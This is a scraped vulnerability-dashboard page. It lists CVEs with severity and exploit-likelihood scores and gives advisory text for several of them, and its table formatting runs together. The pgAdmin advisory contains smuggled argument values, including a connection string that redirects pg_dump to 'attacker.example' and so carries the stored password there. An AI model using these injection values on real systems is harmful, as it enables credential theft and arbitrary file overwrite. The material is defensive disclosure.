Vulnerabilities exploitable today
378,068in current view
Single score combining CVSS, KEV membership and EPSS. Every CVE with its own record — timeline from publication to active exploitation.
In KEV catalog1,716
New KEV · 24H0
Exploit Today ≥ 701,651
Distribution · last window
- Critical2,293
- High8,417
- Medium6,703
- Low757
Filters
Window
Severity
Flags
CVECVSSEPSSKEVRExploitTitleMod.
CVE-2010-2538—31.9%
——10——CVE-2025-22699—31.9%
——10——CVE-2024-5626—31.9%
——10——CVE-2022-47438—31.9%
——10——CVE-2025-69246—31.9%
——10——CVE-2013-6394—31.9%
——10——CVE-2016-6065—31.9%
——10——CVE-2023-32344—31.9%
——10——CVE-2026-8319—31.9%
——10——CVE-2026-181926.5 MED31.9%
——10VIN-DS783E-E6 developed by Vacron has an Arbitrary File Read vulnerability, allowing authenticated remote attackers to exploit Relative Path Traversal to download arbitrary system files.53dCVE-2025-3622—31.9%
——10——CVE-2021-25655—31.9%
——10——CVE-2021-45476—31.9%
——10——CVE-2026-54208—31.9%
——10Tobit Laboratories AG TeamDavid's Webbox application is vulnerable to arbitrary file write, allowing an
unauthenticated attacker to create or write into existing files on the
server with attacker-controlled content. This is possible because user
input is written directly to files without proper validation or
restriction on file types. As a result, an attacker can create files
(e.g., .htm), containing malicious JavaScript code. When a user accesses
a file created in this way, stored cross-site scripting is triggered. This issue affects TeamDavid before Rollout 528.
Starting with Rollout 528 (June 30, 2026), the affected functionality is disabled by default and the vulnerabilities are therefore no longer exposed through this functionality.14dCVE-2008-1780—31.9%
——10——CVE-2011-3343—31.9%
——10——CVE-2026-93687.3 HIG31.9%
——10A vulnerability was identified in NousResearch hermes-agent up to 2026.4.16. This impacts the function execute_code of the file tools/code_execution_tool.py of the component Environment Variable Handler. Such manipulation leads to sandbox issue. It is possible to launch the attack remotely. The exploit is publicly available and might be used. The vendor was contacted early about this disclosure but did not respond in any way.60dCVE-2022-44631—31.9%
——10——CVE-2025-62399—31.9%
——10——CVE-2026-529559.8 CRI31.9%
——10In the Linux kernel, the following vulnerability has been resolved:
libceph: Fix potential out-of-bounds access in crush_decode()
A message of type CEPH_MSG_OSD_MAP containing a crush map with at least
one bucket has two fields holding the bucket algorithm. If the values
in these two fields differ, an out-of-bounds access can occur. This is
the case because the first algorithm field (alg) is used to allocate
the correct amount of memory for a bucket of this type, while the second
algorithm field inside the bucket (b->alg) is used in the subsequent
processing.
This patch fixes the issue by adding a check that compares alg and
b->alg and aborts the processing in case they differ. Furthermore,
b->alg is set to 0 in this case, because the destruction of the crush
map also uses this field to determine the bucket type, which can again
result in an out-of-bounds access when trying to free the memory pointed
to by the fields of the bucket. To correctly free the memory allocated
for the bucket in such a case, the corresponding call to kfree is moved
from the algorithm-specific crush_destroy_bucket functions to the
generic crush_destroy_bucket().69dCVE-2023-39495—31.9%
——10——CVE-2026-8730—31.9%
——10——CVE-2022-38167—31.9%
——10——CVE-2026-34560—31.9%
——10——CVE-2019-25442—31.9%
——10——CVE-2018-5814—31.9%
——10——CVE-2024-47593—31.9%
——10——CVE-2026-27388—31.9%
——10——CVE-2015-3003—31.9%
——10——CVE-2019-18901—31.9%
——10——CVE-2026-868648.8 HIG31.9%
——10pgAdmin 4's Backup tool appended the client-supplied 'database' field from the /backup/job/<sid>/object request to the pg_dump argument vector as a bare trailing positional argument, without validation. Because pg_dump parses its options with getopt_long, which permutes arguments, a value beginning with a dash was interpreted as an option rather than as a database name. A value such as --file=/absolute/path therefore overrode the storage-confined --file that pgAdmin had constructed earlier, causing pg_dump to write its output anywhere the pgAdmin process could write, outside the user's File Manager storage directory. This yields arbitrary file creation and overwrite as the operating-system account running pgAdmin, which can destroy pgAdmin's own configuration database and, depending on the target chosen, be escalated further.
The same field additionally permitted connection-string injection. libpq expands a database name containing an equals sign into a full connection string, and keywords embedded there override the --host and --port that pgAdmin passes, so a value such as 'host=attacker.example port=5432 dbname=x' redirected pg_dump to a server of the attacker's choosing. Because pgAdmin exports the decrypted stored database password in the PGPASSWORD environment variable before executing the utility, the redirected connection carries that credential to the attacker-nominated endpoint. Both behaviours are reachable by any authenticated user holding the tools_backup permission, which is granted to the default User role.
The fix stops passing the database name through the argument vector altogether and supplies it in the PGDATABASE environment variable, which libpq treats as a literal database name and never expands as a connection string. This matches the approach already used by the Import/Export tool. Regression tests assert that the database name is absent from the constructed argument vector and that PGDATABASE carries the exact requested value.
This issue affects pgAdmin 4: from the introduction of the trailing positional database argument in the Backup tool before 9.18.3dCVE-2023-39505—31.9%
——10——CVE-2026-706699.8 CRI31.9%
——10Vulnerability in the Oracle Reports Developer product of Oracle Fusion Middleware (component: Security and Authentication). The supported version that is affected is 14.1.2.0.0. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle Reports Developer. Successful attacks of this vulnerability can result in takeover of Oracle Reports Developer. CVSS 3.1 Base Score 9.8 (Confidentiality, Integrity and Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H).27dCVE-2024-25381—31.9%
——10——CVE-2016-5793—31.9%
——10——CVE-2006-2155—31.9%
——10——CVE-2006-6496—31.9%
——10——CVE-2023-4996—31.9%
——10——CVE-2008-5135—31.9%
——10——CVE-2024-13603—31.9%
——10——